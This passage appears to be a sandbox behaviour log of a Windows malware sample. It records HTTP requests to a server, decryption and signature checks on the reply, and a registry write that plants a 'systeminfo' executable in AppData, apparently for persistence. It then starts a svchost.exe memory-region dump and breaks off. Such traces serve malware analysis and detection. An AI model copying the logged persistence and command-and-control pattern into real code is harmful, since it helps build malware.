returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.464] GetLastError () returned 0x0 [0069.466] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x406418*, dwOptionalLength=0x2c4 | out: lpOptional=0x406418*) returned 1 [0070.034] GetLastError () returned 0x0 [0070.034] wsprintfA (in: param_1=0x3e0f767, param_2="%X%P" | out: param_1="6EC4A0P") returned 7 [0070.034] SetLastError (dwErrCode=0x0) [0070.034] GetCurrentProcessId () returned 0x81c [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.034] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.035] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.036] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.037] GetLastError () returned 0x0 [0070.039] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x3e0f8b8, lpdwBufferLength=0x3e0f810, lpdwIndex=0x0 | out: lpBuffer=0x3e0f8b8*, lpdwBufferLength=0x3e0f810*=0x4, lpdwIndex=0x0) returned 1 [0070.039] GetCurrentProcessId () returned 0x81c [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.039] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.040] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.041] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.042] GetLastError () returned 0x0 [0070.043] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x3e0f800, lpdwBufferLength=0x3e0f808, lpdwIndex=0x0 | out: lpBuffer=0x3e0f800*, lpdwBufferLength=0x3e0f808*=0x4, lpdwIndex=0x0) returned 1 [0070.043] lstrlenA (lpString="just string") returned 11 [0070.043] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.043] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x40c840, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x3e0f804 | out: lpBuffer=0x40c840*, lpdwNumberOfBytesRead=0x3e0f804*=0x94) returned 1 [0070.044] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x40c8d4, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x3e0f804 | out: lpBuffer=0x40c8d4*, lpdwNumberOfBytesRead=0x3e0f804*=0x0) returned 1 [0070.044] GetLastError () returned 0x0 [0070.044] GetCurrentProcessId () returned 0x81c [0070.044] GetCurrentProcessId () returned 0x81c [0070.044] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x3e0f808 | out: phHash=0x3e0f808) returned 1 [0070.044] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db5a8, Final=1, dwFlags=0x0, pbData=0x40ccf8, pdwDataLen=0x3e0f8d4 | out: pbData=0x40ccf8, pdwDataLen=0x3e0f8d4) returned 1 [0070.044] CryptVerifySignatureW (hHash=0x3db5a8, pbSignature=0x40c840, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0070.044] CryptDestroyHash (hHash=0x3db5a8) returned 1 [0070.044] lstrlenA (lpString="just string") returned 11 [0070.044] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.044] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.044] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0070.044] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.044] RegSetValueExW (in: hKey=0x454, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0070.044] RegCloseKey (hKey=0x454) returned 0x0 [0070.044] GetCurrentProcessId () returned 0x81c [0070.476] GetTickCount () returned 0x20b17 [0070.476] GetTickCount () returned 0x20b17 [0070.476] GetTickCount () returned 0x20b17 [0070.599] GetTickCount () returned 0x20b84 [0071.474] GetTickCount () returned 0x20efd [0071.474] GetTickCount () returned 0x20efd [0071.474] GetTickCount () returned 0x20efd [0071.552] GetTickCount () returned 0x20f4b [0072.472] GetTickCount () returned 0x212e4 [0072.472] GetTickCount () returned 0x212e4 [0072.472] GetTickCount () returned 0x212e4 [0072.551] GetTickCount () returned 0x21332 [0073.471] GetTickCount () returned 0x216ca [0073.471] GetTickCount () returned 0x216ca [0073.471] GetTickCount () returned 0x216ca [0073.549] GetTickCount () returned 0x21718 Thread: id = 77 os_tid = 0x2ac [0069.470] GetTickCount () returned 0x20730 [0069.471] GetTickCount () returned 0x20730 [0069.471] GetTickCount () returned 0x20730 [0069.539] GetTickCount () returned 0x2077e [0069.988] GetTickCount () returned 0x20924 Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x6dab000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60801000" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0x81c" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ca58" [0xc000000f], "LOCAL" [0x7] Region: id = 1578 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1579 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1580 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1581 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1582 start_va = 0x50000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1583 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1584 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1585 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1586 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 1587 start_va = 0x110000 end_va = 0x113fff entry_point = 0x110000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 1588 start_va = 0x120000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 1589 start_va = 0x220000 end_va = 0x286fff entry_point = 0x220000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1590 start_va = 0x290000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 1591 start_va = 0x390000 end_va = 0x3a0fff entry_point = 0x390000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1592 start_va = 0x3b0000 end_va = 0x3b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 1593 start_va = 0x3c0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 1594 start_va = 0x3d0000 end_va = 0x557fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 1595 start_va = 0x560000 end_va = 0x6e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 1596 start_va = 0x6f0000 end_va = 0x7affff entry_point = 0x0 region_type = pagefile_backed name = 